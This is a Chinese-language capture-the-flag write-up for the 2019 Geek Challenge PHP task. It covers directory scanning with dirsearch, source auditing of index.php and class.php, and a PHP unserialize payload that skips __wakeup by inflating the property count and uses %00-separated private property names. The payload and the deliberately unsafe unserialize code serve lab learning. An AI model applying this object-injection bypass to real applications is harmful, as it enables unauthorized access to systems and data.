[极客大挑战 2019]PHP 1

进去看到主页是一只猫, 移动鼠标可以用毛线团逗它, 出个题前端也也是费心了

image-20211101230918054

上面说, 有备份网站的习惯, 所以我们就扫描服务器找出备份文件, 使用dirsearch这个脚本

下载地址: Github

1
python ./dirsearch.py -e php -u http://0c3bed09-f748-4307-ba14-135d78a27e92.node4.buuoj.cn:81/

-e 指定服务器运行环境

-u 指定网站目录

PS: 我自己扫了很久也没扫完, 看别人的WP扫出了www.zip, 我们就从这里开始

下载www.zip解压得到5个文件

image-20211101231756440

index.php关键代码:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

index.php引入了class.php, 然后反序列化参数select的值, 先去看看class.php有什么

flag.php里的那个flag是错的

class.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

这里就要用到php反序列化的知识了, 我们先在本地制作好payload

image-20211101234324256

审计代码, 用户名为"admin", 密码为100("100"也行, 弱相等)时, 并使__wakeup()不执行, 就能拿到flag

序列化后的对象:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

当序列化文本中指定的对象属性个数大于实际个数时, __wakeup()方法就不会被执行 ,实际上是2个, 我们改成3个:

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

提交上去看看

image-20211102000144789emmm, 跟我想的不一样

经过一番查找得知: Name类的两个属性是private的, 只能在类中访问, 在序列化后的文本中要用%00将类名和属性名分隔开, 所以正确的序列化文本应该是:

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

再次提交:

image-20211102000537580

成功拿到flag